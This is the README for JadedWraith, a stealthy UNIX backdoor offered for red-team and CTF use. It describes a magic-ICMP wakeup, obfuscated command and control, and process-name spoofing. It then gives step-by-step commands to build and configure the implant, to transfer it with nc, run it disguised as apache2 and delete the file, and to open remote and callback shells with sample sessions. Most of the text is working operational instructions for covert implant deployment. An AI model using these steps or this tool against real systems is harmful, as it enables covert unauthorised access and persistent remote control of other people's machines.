JadedWraith – Light-weight UNIX Backdoor

Lightweight UNIX backdoor for ethical hacking. Useful for red team engagements and CTFs. Something I wrote a few years ago as part of a game I was playing with a friend to try to backdoor as many VMs in each other’s labs without being caught or having our tools reverse engineered/signatured.

Features

JadedWraith is a powerful backdoor capable of either listening on a TCP port or sniffing packets for a “magic” ICMP packet instructing the backdoor to either callback or listen. This is partly inspired by tools such as PRISM, however, unlike PRISM JadedWraith incorporates shoddy cryptography to obfuscate command and control. JadedWraith can be used to execute remote commands or upload follow on payloads.

JadedWraith can be compiled as a standalone executable or as a shared object for process injection.

Components

The source code for the actual implant can be found inside the src directory. client contains a simple python based client for interacting with JadedWraith. The conf_jawr script is used to configure new JadedWraith executables.

Dependencies

The implant requires a modern C library and libpthread. Depending on the target operating system, libpcap may be required (In which case, it you must run the ./configure script with --use-libpcap to enable libpcap support).

The Python configuration script and client require the the following packages to work: termcolor, pycryptodomex

How to compile

Simply use the Makefile to compile. Note: The resulting binaries found in bin must be configured before they can be used.

$ ./configure
$ make
$ ls -lart bin
-rwxrwxr-x. 1 root root 19712 Jul 31 13:08 JadedWraith-2.0.0-Linux-x86_64.elf

How to configure

Use the conf_jawr script to configure JadedWraith executables. It will search the bin directory for JadedWraith executables to configure. The configured binary will be written to the configured directory.

$ ./conf_jawr
JadedWraith Configuration

Please choose a JadedWraith binary to use: 
    1. JadedWraith-2.0.0-Linux-x86_64.elf
Binary : 1
Shared Key [95454c93c8d5d30a0782da72ade10e29] : 
Enable passive mode (ICMP wakeup) ? [y/n] y
Wakeup Password [4Zw2TTtaIKBcyeoLwd7rrTasRlUF90vSZnLFzn2A4ab018Vj] : 
argv[0] (Leave blank to not spoof command) [] : 

JadedWraith Executable : /tmp/JadedWraith/configured/builds/JadedWraith-2.0.0-Linux-x86_64.1627752415.bin

Try me!
   sudo ./wraith-client.py <IP_ADDRESS> -k 95454c93c8d5d30a0782da72ade10e29 -P 4Zw2TTtaIKBcyeoLwd7rrTasRlUF90vSZnLFzn2A4ab018Vj shell

How to install

A configured implant can simply be ran on the target system. If configured to use the passive ICMP functionality, it must be ran as root. The environmental variable _CMD can be used to spoof the process’s argv[]

# cd /tmp
# nc -lvp 4444 > apache2
# chmod +x apache2
# _CMD="/usr/sbin/apache2" ./apache2
# rm apache2

How to interact

The wraith-client.py script inside client can be used to interact with JadedWraith. Simply invoke it with the arguments produced by the conf_jawr script, substituting the target’s IP for <IP_ADDRESS>. If utilizing the ICMP functionality, the script must be ran as root to send the ICMP packet.

$ ~/JadedWraithFork/client> sudo ./wraith-client.py 192.168.100.224 -k 1deeb4a64440b8d13c84a8eb4e7c4453 -P y00nrnwpwXdvPOXSS6K0r7LelFeCBvKx91Oj0s5BrnLyx1WR shell
[+] sent ICMP wake up command to 192.168.100.224
[*] backdoor will listen on port 58290
[*] connecting to 192.168.100.224:58290
[+] connection established!
[*] entering interactive shell
>> .cd /tmp 
>> w
 14:22:49 up  3:02,  1 user,  load average: 0.18, 0.19, 0.23
USER     TTY        LOGIN@   IDLE   JCPU   PCPU WHAT
>> ps -ef
UID          PID    PPID  C STIME TTY          TIME CMD
root           1       0  0 11:20 ?        00:00:01 /usr/lib/systemd/systemd --switched-root --system --deserialize 31
>> .exit
$ sudo ./wraith-client.py 127.0.0.1 --callback 192.168.100.224 -k 1deeb4a64440b8d13c84a8eb4e7c4453 -P y00nrnwpwXdvPOXSS6K0r7LelFeCBvKx91Oj0s5BrnLyx1WR shell
[+] sent ICMP wake up command to 127.0.0.1
[*] backdoor will c   onnect to port 37943
[*] listening on port 37943
[+] accepted connection!
[*] entering interactive shell
>> 

Bugs

I’m sure this has plenty of bugs. Let me know if you find any. I wrote this over a few days and the code isn’t my proudest. Feel free to report any issues and I’ll try to fix them.